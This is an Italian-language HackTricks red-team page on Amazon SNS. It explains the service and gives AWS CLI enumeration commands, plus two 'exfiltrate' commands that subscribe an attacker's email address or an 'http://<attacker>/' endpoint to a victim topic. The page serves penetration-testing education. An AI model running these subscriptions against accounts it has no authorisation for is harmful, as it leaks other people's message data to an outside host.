AWS - SNS Enum

Impara l'hacking di AWS da zero a eroe con htARTE (Esperto Red Team di HackTricks AWS)!

Altri modi per supportare HackTricks:

SNS

Amazon Simple Notification Service (Amazon SNS) è descritto come un servizio di messaggistica completamente gestito. Supporta sia i tipi di comunicazione applicazione-applicazione (A2A) che applicazione-persona (A2P).

Le caratteristiche chiave per la comunicazione A2A includono i meccanismi di pubblicazione/sottoscrizione (pub/sub). Questi meccanismi introducono argomenti, cruciali per abilitare una messaggistica push-based, many-to-many ad alto throughput. Questa funzionalità è molto vantaggiosa in scenari che coinvolgono sistemi distribuiti, microservizi e architetture serverless basate sugli eventi. Sfruttando questi argomenti, i sistemi editori possono distribuire efficientemente messaggi a una vasta gamma di sistemi sottoscrittori, facilitando un modello di messaggistica fanout.

Differenza con SQS

SQS è un servizio basato su code che consente la comunicazione punto a punto, garantendo che i messaggi siano elaborati da un singolo consumatore. Offre consegna almeno una volta, supporta code standard e FIFO, e consente la conservazione dei messaggi per i tentativi di ripetizione e l'elaborazione ritardata. D'altra parte, SNS è un servizio basato su pubblicazione/sottoscrizione, che abilita la comunicazione one-to-many trasmettendo messaggi a più sottoscrittori contemporaneamente. Supporta vari endpoint di sottoscrizione come email, SMS, funzioni Lambda e HTTP/HTTPS, e fornisce meccanismi di filtraggio per una consegna mirata dei messaggi. Mentre entrambi i servizi consentono il disaccoppiamento tra i componenti nei sistemi distribuiti, SQS si concentra sulla comunicazione in coda, e SNS enfatizza i modelli di comunicazione fan-out basati sugli eventi.

Enumerazione

# Get topics & subscriptions
aws sns list-topics
aws sns list-subscriptions
aws sns list-subscriptions-by-topic --topic-arn <arn>

# Check privescs & post-exploitation
aws sns publish --region <region> \
--topic-arn "arn:aws:sns:us-west-2:123456789012:my-topic" \
--message file://message.txt

# Exfiltrate through email
## You will receive an email to confirm the subscription
aws sns subscribe --region <region> \
--topic-arn arn:aws:sns:us-west-2:123456789012:my-topic \
--protocol email \
--notification-endpoint my-email@example.com

# Exfiltrate through web server
## You will receive an initial request with a URL in the field "SubscribeURL"
## that you need to access to confirm the subscription
aws sns subscribe --region <region>\
--protocol http \
--notification-endpoint http://<attacker>/ \
--topic-arn <arn>

Si noti che se l'argomento è di tipo FIFO, possono essere utilizzati solo abbonati che utilizzano il protocollo SQS (HTTP o HTTPS non possono essere utilizzati).

Inoltre, anche se il --topic-arn contiene la regione, assicurati di specificare la regione corretta in --region o otterrai un errore che sembra indicare che non hai accesso, ma il problema è la regione.

Accesso non autenticato

pageAWS - SNS Unauthenticated Enum

Escalation dei privilegi

pageAWS - SNS Privesc

Post Exploitation

pageAWS - SNS Post Exploitation

Persistenza

pageAWS - SNS Persistence

Riferimenti

Impara l'hacking AWS da zero a eroe con htARTE (HackTricks AWS Red Team Expert)!

Altri modi per supportare HackTricks:

Last updated